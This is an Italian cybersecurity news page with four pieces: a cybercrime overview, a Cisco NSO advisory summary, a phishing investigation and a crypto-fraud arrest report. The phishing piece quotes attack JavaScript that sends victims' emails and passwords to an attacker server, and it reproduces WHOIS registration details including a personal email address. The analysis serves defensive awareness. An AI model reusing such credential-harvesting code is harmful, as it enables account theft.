Sicurezza Informatica
Cybercrime: il crimine informatico nella Matrice Digitale
Tempo di lettura: 3 minuti. Il crimine informatico è un aspetto determinante nella Matrice Digitale dove viviamo: un sunto dell’attività redazione sul tema
Il crimine informatico ha assunto molte forme nell’era digitale, influenzando ogni aspetto della nostra vita online. Da attacchi mirati a truffe economiche e violazioni della privacy, esploriamo le diverse sfaccettature di questa minaccia in crescita.
1. Crimine Informatico legato allo sviluppo di Malware e Attacchi
Il malware, o software dannoso, è progettato per infiltrarsi o danneggiare sistemi informatici senza il consenso dell’utente.
- Virus: Programmi che si replicano e infettano altri software o file.
- Worms: Simili ai virus, ma si diffondono autonomamente attraverso le reti.
- Ransomware: Blocca l’accesso ai dati dell’utente e richiede un riscatto per il suo rilascio. Leggi tutte le notizie sul tema
- Trojan: Si presenta come software legittimo, ma una volta installato, rilascia malware o consente l’accesso a cybercriminali. Leggi tutte le notizie sul tema
2. Truffe Economiche
Le truffe online sono diventate sempre più sofisticate, mirando a defraudare le vittime dei loro soldi.
- Phishing: Tentativi di ottenere informazioni sensibili attraverso email o siti web falsi. Matrice Digitale racconta ogni giorno le strategie messe in piedi dai criminali per estrarre informazioni.
- Frodi con carte di credito: Utilizzo non autorizzato di informazioni di carte di credito per effettuare acquisti. Leggi tutte le notizie sul carding
- Schemi Ponzi online: Promettono alti rendimenti con poco rischio, ma si basano su fondi da nuovi investitori per pagare i vecchi. Leggi tutte le truffe scoperte da Matrice Digitale
E’ possibile approfondire meglio le dinamiche delle minacce “informatiche” consultando l’apposito approfondimento sulla cybersecurity.
3. Sfera Sessuale e Privata
Il crimine informatico può avere un profondo impatto emotivo, specialmente quando colpisce la sfera personale e privata delle vittime.
- Cyberstalking: Perseguire o molestare una persona online. Leggi tutte le notizie di cyberstalking
- Revenge porn: Distribuzione non autorizzata di immagini o video intimi. Leggi tutte le notizie di revenge porn
- Sextortion: Estorsione basata sulla minaccia di divulgare materiale sessualmente esplicito. Leggi tutte le notizie di sextortion
- Camfecting: Prendere il controllo di una webcam senza il consenso dell’utente.
- Scam sentimentali: Truffatori che fingono interesse romantico per estorcere denaro.
- Pedofilia online e CSAM: La pedofilia online si riferisce all’uso di internet per sfruttare sessualmente i minori. Ciò può includere la produzione, distribuzione e visione di materiale di abuso sessuale sui minori (CSAM). Leggi tutte le notizie di CSAM
Leggi tutte le notizie a sfondo sessuale
4. Commercio illegale
Il commercio illegale all’interno in rete avviene sia sui social network che all’interno del Dark Web. In rete è possibile trovare tutto, ma bisogna fare attenzione a non trovarsi truffati così come a non credere che sia possibile far tutto e farla franca. Ci sono Mercati Neri dove è possibile comprare armi, droghe e servizi illegali di hacking.
5. Terrorismo e hacktivismo
Seppur ci siano molte differenze dal promuovere finalità di natura sociale da quelle di natura terroristica, entrambe si macchiano di crimini informatici per far valere le proprie idee.
- Hacktivismo: l’attivismo attraverso l’hacking è uno strumento che ha caratterizzato sia modelli apparentemente indipendenti come Anonymous e LulzSec sia bande al servizio del Cremlino in situazioni di guerra come Killnet e NoName057 intervistati in esclusiva da Matrice Digitale.
- Terrorismo: il terrorismo online agisce facendo proseliti attraverso forum specializzati o app di messaggistica come Telegram, propaganda i propri messaggi sui social ordinari fino ad arrivare al lato oscuro della rete. Leggi le notizie pubblicate da Matrice Digitale sul terrorismo
6. Dark Web
Il dark web rappresenta una parte nascosta e inaccessibile del vasto universo di Internet, accessibile solo attraverso specifici software che garantiscono l’anonimato agli utenti. Questa caratteristica di riservatezza ha fatto sì che il dark web diventasse un terreno fertile per attività illecite. La criminalità informatica, in particolare, ha trovato nel dark web un luogo sicuro dove vendere e acquistare dati rubati, software malevoli, servizi di hacking e molto altro. Le transazioni avvengono spesso in criptovalute, come il Bitcoin, per garantire ulteriore anonimato. Le autorità di tutto il mondo stanno intensificando gli sforzi per monitorare e contrastare le attività illegali sul dark web, ma la sua natura decentralizzata e criptata rende questa battaglia particolarmente complessa, ma non impossibile. Leggi tutte le notizie di Matrice Digitale sul DarkWeb
Segnala una truffa o un reato alla redazione
Conclusione
Il crimine informatico rappresenta una minaccia multidimensionale che va ben oltre i semplici attacchi tecnici. Mentre la tecnologia continua a evolversi, è essenziale che individui e aziende siano consapevoli delle diverse forme di cybercrime e adottino misure preventive per proteggere se stessi e i loro dati. Matrice Digitale dedica molta attenzione alla criminalità informatica e agli strumenti impiegati dai criminali con la speranza di fornire la giusta prevenzione alle potenziali vittime.
Sicurezza Informatica
Vulnerabilità privilegi in Cisco Crosswork Network Services Orchestrator
Tempo di lettura: < 1 minuto. Cisco rilascia aggiornamenti software per correggere una vulnerabilità di escalation dei privilegi nel Cisco Crosswork Network Services Orchestrator
Cisco ha rilasciato aggiornamenti software gratuiti che affrontano una vulnerabilità di escalation dei privilegi nel Cisco Crosswork Network Services Orchestrator (NSO). Questa vulnerabilità potrebbe consentire a un attaccante autenticato di eseguire comandi arbitrari con privilegi elevati su un sistema interessato.
Descrizione della Vulnerabilità
La vulnerabilità si trova nel modulo Tail-f HCC Function Pack di Cisco Crosswork NSO e riguarda versioni specifiche del software. Gli aggiornamenti software rilasciati correggono questa falla, prevenendo l’uso non autorizzato di comandi con privilegi elevati.
Versioni interessate e correzioni disponibili
Cisco consiglia agli utenti di aggiornare il software alle seguenti versioni fisse:
Release Cisco Crosswork NSO | Prima Release Fissa Tail-f HCC Function Pack |
---|---|
5.0 e versioni successive | 5.0.5 |
6.0 e versioni successive | 6.0.2 |
Aggiornamenti e Supporto
I clienti con contratti di servizio che includono aggiornamenti software regolari possono ottenere le correzioni di sicurezza attraverso i canali di aggiornamento consueti. I clienti devono assicurarsi che i dispositivi da aggiornare abbiano memoria sufficiente e che le configurazioni hardware e software attuali siano supportate dalla nuova release.
Clienti senza Contratti di Servizio
I clienti che acquistano direttamente da Cisco ma non dispongono di un contratto di servizio e quelli che acquistano tramite venditori terzi ma non riescono a ottenere il software corretto attraverso il loro punto vendita, devono contattare il Cisco TAC. È consigliato avere a disposizione il numero di serie del prodotto e fornire l’URL di questo avviso come prova del diritto a un aggiornamento gratuito.
Informazioni aggiuntive
Per ulteriori informazioni sulla vulnerabilità e le soluzioni di aggiornamento, è possibile consultare la pagina degli avvisi di sicurezza di Cisco.
Sicurezza Informatica
La tua password è scaduta: nuova ondata di attacchi phishing
Tempo di lettura: 4 minuti. Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili.
Introduzione: Gli attacchi di phishing sono una minaccia sempre più diffusa nel mondo digitale. Con l’aumento dell’uso di Internet e delle comunicazioni via email, i cybercriminali trovano sempre nuovi modi per ingannare le persone e rubare informazioni sensibili. In questo articolo, esploreremo cos’è il phishing, come funziona e come puoi proteggerti da esso.
Cos’è il Phishing: Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili. Questi truffatori inviano email o messaggi che sembrano provenire da aziende o istituzioni legittime, come banche, social network o siti di e-commerce, al fine di ingannare le vittime e convincerle a fornire le proprie informazioni.
Come Funziona il Phishing: Gli attacchi di phishing possono assumere diverse forme, ma generalmente seguono un processo simile:
- Email di Phishing: Il truffatore invia un’email che sembra provenire da un’azienda conosciuta, chiedendo alla vittima di fornire informazioni personali o di fare clic su un link fraudolento.
- Link Fraudolenti: Il messaggio di phishing contiene un link che porta a una pagina web contraffatta che sembra autentica. Questa pagina può chiedere di accedere al tuo account o di inserire informazioni sensibili.
- Raccolta di Dati: Una volta che la vittima fornisce le informazioni richieste, i truffatori le utilizzano per rubare denaro, identità o altre informazioni sensibili.
Un caso reale di attacco
Questo che segue è un esempio di email ricevuta in una mia casella di posta elettronica. Siccome sono il provider di me stesso è stato subito evidente che si trattasse di un tentativo di phishing:
Il messaggio è in inglese, ed è stato ricevuto da migliaia di utenti che sono stati avvisati del fatto che la loro password era scaduta e che se non si fosse seguito il link il loro account sarebbe stato sospeso.
Io ovviamente ho seguito il link, e la pagina che mi è comparsa è questa:
La prima cosa che possiamo notare è come viene generata una finta pagina di accesso alla email con il nome estratto dal dominio della vittima ed in alcuni casi anche l’icona presa dal sito.
Non è molto complicato generare una pagina del genere, tutte le informazioni sono contenute nell’indirizzo email del malcapitato.
Inserendo la propria password questa viene inviata al server dell’hacker ed archiviata.
Come hanno fatto a trovare la mia email?
Prima di procedere a questo attacco gli hacker fanno una scansione del web, cercando in tutti i siti, forum pubblici, profili social e raccolgono milioni di email.
Successivamente vengono inviate le email e si aspettano gli utenti che “abboccano”
Il sito che viene presentato ha questo indirizzo URL
La pagina è ospitata su un gateway IPFS di CloudFlare.
Cosa è un server IPFS?
Un IPFS gateway funge da intermediario tra la rete IPFS decentralizzata e il World Wide Web tradizionale, consentendo agli utenti di accedere ai contenuti IPFS tramite il web utilizzando URL standard. Ciò rende i contenuti IPFS accessibili a una più ampia base di utenti e facilita l’integrazione dei contenuti IPFS con le applicazioni web esistenti.
In pratica l’origine del contenuto non è facilmente rintracciabile perchè schermata dal gateway.
Analisi del codice della pagina di phishing
Analizzando il codice della pagina è possibile vedere dove vengono inviati i dati raccolti in maniera fraudolenta.
$.ajax({
dataType: 'JSON',
url: 'https://winnersolution.us/TWE/gen.php',
type: 'POST',
data:{
email:email,
password:password,
},
Questo è un pezzo di codice presente nello JavaScript della pagina. Senza scendere nel tecnico, il contenuto del form (la nostra email e la password che abbiamo inserita) viene trasmesso ad uno script ospitato sul dominio “winnsersolution.us” che è un dominio gratuito registrato sul provider NameCheap ed ovviamente non intestato a nessuno.
Admin Name: Ego Mbute
Admin Organization: fiko
Admin Street: 95485085 jfkkf ltd
Admin Street: 95485085 jfkkf ltd
Admin Street:
Admin City: New York
Admin State/Province: NY
Admin Postal Code: 10010
Admin Country: US
Admin Phone: +1.480480883
Admin Phone Ext:
Admin Fax: +1.9484894494
Admin Fax Ext:
Admin Email: ashley.treasurecn@gmail.com
Cosa abbiamo trovato nel server degli hacker?
Abbiamo trovato lo stesso script “gen.php” ripetuto diverse volte ed in diverse cartelle con date che vanno dal 13 al 15 maggio 2024, questo articolo è stato scritto il 16 maggio.
Questo hacker (non molto esperto) ha appena iniziato la sua attività di attacco, ed evidentemente dopo aver raccolto le email dei malcapitati lascerà scadere il dominio è l’hosting e passerà ad una nuova fase di attacco.
Abbiamo rintracciato il server che ha inviato l’email
Nei file log del server di posta elettronica siamo riusciti a trovare l’indirizzo del server che ha originato il messaggio fraudolento.
Il server ed il dominio ( jpcompaniesinc.com ) appartengono ad una azienda che molto probabilmente è stata hackerata in precedenza, e la loro casella di posta utilizzata per inviare altri messaggi.
Come Proteggerti dal Phishing: Proteggerti dagli attacchi di phishing è essenziale per mantenere al sicuro le tue informazioni. Ecco alcuni consigli utili:
- Verifica l’Autenticità: Controlla attentamente l’indirizzo email del mittente e verifica se corrisponde all’azienda o all’istituzione che dice di essere.
- Attenzione ai Link: Non fare clic su link sospetti presenti nelle email. Se devi accedere a un sito web, digita direttamente l’URL nella barra degli indirizzi del tuo browser.
- Non Condividere Informazioni Sensibili: Mai fornire password, numeri di carte di credito o altri dati sensibili tramite email, soprattutto se richiesto in modo non sollecitato.
- Utilizza Soluzioni di Sicurezza: Installa e aggiorna regolarmente un buon software antivirus e antimalware sul tuo computer e dispositivo mobile.
- Sii Consapevole: Sviluppa una consapevolezza delle pratiche di sicurezza online e educa te stesso e i tuoi dipendenti o familiari su come riconoscere e evitare gli attacchi di phishing.
Sicurezza Informatica
Autorità Canadesi arrestano il “Crypto King” per frode da 30 milioni
Tempo di lettura: < 1 minuto. Le Autorità canadesi arrestano il “Crypto King” per una frode da 30 di dollari ecco i dettagli dell’arresto e le implicazioni
Le autorità canadesi hanno arrestato il sedicente “Crypto King” con l’accusa di frode per un ammontare di 30 milioni di dollari. Questo caso evidenzia i rischi associati agli investimenti in criptovalute e l’importanza di una regolamentazione più rigorosa nel settore.
Dettagli dell’arresto
Il “Crypto King” è stato accusato di aver orchestrato uno schema di frode che ha portato alla perdita di 30 milioni di dollari da parte degli investitori. Le indagini hanno rivelato che il sospetto utilizzava tattiche ingannevoli per attrarre investitori, promettendo rendimenti elevati attraverso investimenti in criptovalute.
Indagini e collaborazioni
L’inchiesta è stata condotta con la collaborazione di diverse agenzie investigative canadesi. Queste indagini hanno incluso la raccolta di prove, l’analisi di transazioni finanziarie e l’interrogazione di testimoni. Le autorità hanno sottolineato l’importanza della cooperazione internazionale per combattere le frodi nel settore delle criptovalute.
Implicazioni per gli investitori
Questo caso mette in luce i pericoli delle frodi legate alle criptovalute e l’importanza di fare ricerche approfondite prima di investire. Gli esperti consigliano di essere cauti e di consultare consulenti finanziari qualificati prima di effettuare investimenti in ICO, IEO o altre opportunità di investimento in criptovalute.
Regolamentazione del Settore
L’arresto del “Crypto King” potrebbe accelerare gli sforzi per una regolamentazione più rigorosa del settore delle criptovalute in Canada e a livello globale. Le autorità stanno considerando misure per proteggere meglio gli investitori e prevenire future frodi. La frode da 30 milioni di dollari orchestrata dal “Crypto King” sottolinea la necessità di una maggiore vigilanza nel settore delle criptovalute. Gli investitori devono essere consapevoli dei rischi e fare ricerche approfondite prima di impegnare i loro fondi in questo mercato volatile.
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